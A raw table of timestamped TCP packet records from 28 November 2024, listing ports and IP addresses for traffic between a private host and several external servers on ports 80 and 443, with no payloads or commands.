Nov 28, 2024 08:55:51.071624041 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.072026014 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.072069883 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.072228909 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.072397947 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.072866917 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.072916031 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.073034048 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.073082924 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.073708057 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.073760986 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.073781967 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.073822021 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.074527979 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.074582100 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.074651957 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.074692965 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.075361967 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.075413942 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.075447083 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.075500011 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.076206923 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.076262951 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.076271057 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.076318979 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.080702066 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.082789898 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.082824945 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.082894087 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:51.082917929 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.083007097 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:51.086497068 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.090607882 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.090776920 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:51.090785027 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.094616890 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.094671011 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:51.094676971 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.102116108 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.102165937 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:51.102173090 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.105803967 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.105931044 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:51.105937004 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.109127998 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.109369993 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:51.109376907 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.110268116 CET	49801	443	192.168.2.8	23.216.132.33
Nov 28, 2024 08:55:51.110302925 CET	443	49801	23.216.132.33	192.168.2.8
Nov 28, 2024 08:55:51.110395908 CET	49801	443	192.168.2.8	23.216.132.33
Nov 28, 2024 08:55:51.110918999 CET	49802	443	192.168.2.8	23.216.132.33
Nov 28, 2024 08:55:51.110961914 CET	443	49802	23.216.132.33	192.168.2.8
Nov 28, 2024 08:55:51.111114979 CET	49801	443	192.168.2.8	23.216.132.33
Nov 28, 2024 08:55:51.111124992 CET	443	49801	23.216.132.33	192.168.2.8
Nov 28, 2024 08:55:51.111145973 CET	49802	443	192.168.2.8	23.216.132.33
Nov 28, 2024 08:55:51.111291885 CET	49802	443	192.168.2.8	23.216.132.33
Nov 28, 2024 08:55:51.111303091 CET	443	49802	23.216.132.33	192.168.2.8
Nov 28, 2024 08:55:51.112602949 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.112690926 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:51.112699032 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.117341995 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.117409945 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:51.117415905 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.119728088 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.119781971 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:51.119795084 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.123131037 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.123192072 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:51.123198986 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.127449036 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.127572060 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:51.127578020 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.131607056 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.131730080 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.131792068 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:51.131805897 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.131922960 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:51.133510113 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.135854006 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.135906935 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:51.135914087 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.138184071 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.138245106 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:51.138252020 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.141685963 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.141735077 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:51.141742945 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.143928051 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.143996954 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:51.144004107 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.145380974 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.145435095 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:51.145441055 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.148752928 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.148825884 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.148874044 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.149130106 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.149358034 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.149367094 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.149399042 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.149766922 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.149812937 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.149842024 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.149899960 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.149923086 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.149945021 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:51.149950981 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.150619984 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.150686026 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.150906086 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.150960922 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.151499033 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.151510000 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.151555061 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.152231932 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.152271986 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.152280092 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:51.152286053 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.152314901 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.152327061 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:51.152327061 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.152355909 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.152368069 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.153130054 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.153192997 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.153469086 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.153515100 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.154005051 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.154016972 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.154061079 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.154515982 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.154791117 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.154849052 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.154942989 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.155177116 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.155661106 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.155694008 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.155703068 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.155752897 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.156444073 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.156496048 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.156820059 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.156889915 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.156904936 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.156930923 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:51.156936884 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.157310963 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.157322884 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.157368898 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.157860994 CET	443	49798	65.52.241.40	192.168.2.8
Nov 28, 2024 08:55:51.158086061 CET	49798	443	192.168.2.8	65.52.241.40
Nov 28, 2024 08:55:51.158096075 CET	443	49798	65.52.241.40	192.168.2.8
Nov 28, 2024 08:55:51.158337116 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.158353090 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.158381939 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.158395052 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.158484936 CET	443	49798	65.52.241.40	192.168.2.8
Nov 28, 2024 08:55:51.158956051 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.159003019 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.159025908 CET	49798	443	192.168.2.8	65.52.241.40
Nov 28, 2024 08:55:51.159090996 CET	443	49798	65.52.241.40	192.168.2.8
Nov 28, 2024 08:55:51.159142971 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.159194946 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.159203053 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.159245014 CET	49798	443	192.168.2.8	65.52.241.40
Nov 28, 2024 08:55:51.159264088 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:51.159265041 CET	49798	443	192.168.2.8	65.52.241.40
Nov 28, 2024 08:55:51.159271955 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.159274101 CET	443	49798	65.52.241.40	192.168.2.8
Nov 28, 2024 08:55:51.159796000 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.159857035 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.160223007 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.160355091 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.160659075 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.160670042 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.160711050 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.161534071 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.161545992 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.161587000 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.161655903 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.161703110 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:51.161710024 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.162292957 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.162342072 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.162420988 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.162672997 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.163184881 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.163229942 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.163239002 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.163290024 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.163885117 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.163932085 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:51.163937092 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.163952112 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.163959026 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.164017916 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.164017916 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:51.164048910 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:51.164057016 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.182074070 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.182101011 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.182194948 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.182208061 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.182315111 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.215568066 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.215594053 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.215689898 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.215698004 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.215744019 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.234246969 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.234266996 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.234330893 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.234340906 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.234390974 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.234390974 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.240696907 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.254893064 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.254914999 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.255048037 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.255079985 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.255150080 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.361613035 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.389012098 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.389040947 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.389151096 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.389174938 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.389275074 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.403143883 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.403163910 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.403234005 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.403242111 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.403295040 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.403295040 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.412363052 CET	49803	443	192.168.2.8	23.216.132.33
Nov 28, 2024 08:55:51.412390947 CET	443	49803	23.216.132.33	192.168.2.8
Nov 28, 2024 08:55:51.412619114 CET	49803	443	192.168.2.8	23.216.132.33
Nov 28, 2024 08:55:51.412842989 CET	49803	443	192.168.2.8	23.216.132.33
Nov 28, 2024 08:55:51.412856102 CET	443	49803	23.216.132.33	192.168.2.8
Nov 28, 2024 08:55:51.419101954 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.419121027 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.419188976 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.419197083 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.419243097 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.419276953 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.432894945 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.432914972 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.432970047 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.432979107 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.433042049 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.433042049 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.448782921 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.448808908 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.448859930 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.448880911 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.448923111 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.448923111 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.463746071 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.463764906 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.463828087 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.463835001 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.463903904 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.479530096 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.479551077 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.479648113 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.479654074 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.479723930 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.479723930 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.563886881 CET	49804	443	192.168.2.8	23.55.235.241
Nov 28, 2024 08:55:51.563931942 CET	443	49804	23.55.235.241	192.168.2.8
Nov 28, 2024 08:55:51.564312935 CET	49804	443	192.168.2.8	23.55.235.241
Nov 28, 2024 08:55:51.564505100 CET	49804	443	192.168.2.8	23.55.235.241
Nov 28, 2024 08:55:51.564522028 CET	443	49804	23.55.235.241	192.168.2.8
Nov 28, 2024 08:55:51.598830938 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.598861933 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.598951101 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.598952055 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.598968029 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.599077940 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.609060049 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.609076977 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.609184980 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.609194040 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.609267950 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.620528936 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.620547056 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.620618105 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.620646954 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.620665073 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.620744944 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.632141113 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.632158995 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.632225037 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.632235050 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.632249117 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.632420063 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.640417099 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.640454054 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.640486002 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.640491962 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.640506983 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.640527010 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.640583038 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.641400099 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.641417027 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.681180000 CET	443	49798	65.52.241.40	192.168.2.8
Nov 28, 2024 08:55:51.681204081 CET	443	49798	65.52.241.40	192.168.2.8
Nov 28, 2024 08:55:51.681220055 CET	443	49798	65.52.241.40	192.168.2.8
Nov 28, 2024 08:55:51.681278944 CET	49798	443	192.168.2.8	65.52.241.40
Nov 28, 2024 08:55:51.681298971 CET	443	49798	65.52.241.40	192.168.2.8
Nov 28, 2024 08:55:51.681333065 CET	49798	443	192.168.2.8	65.52.241.40
Nov 28, 2024 08:55:51.681355000 CET	49798	443	192.168.2.8	65.52.241.40
Nov 28, 2024 08:55:51.699964046 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.700284004 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.700309992 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.700364113 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.700391054 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.700403929 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.700448990 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.701560020 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.701575041 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.701616049 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.701642036 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.702002048 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.702126026 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.702181101 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.702816963 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.702883005 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.702922106 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.702967882 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.703680992 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.703742027 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.703809977 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.704612970 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.704663992 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.704696894 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.704778910 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.705327034 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.705434084 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.705442905 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.705482960 CET	49748	80	192.168.2.8	185.215.113.206
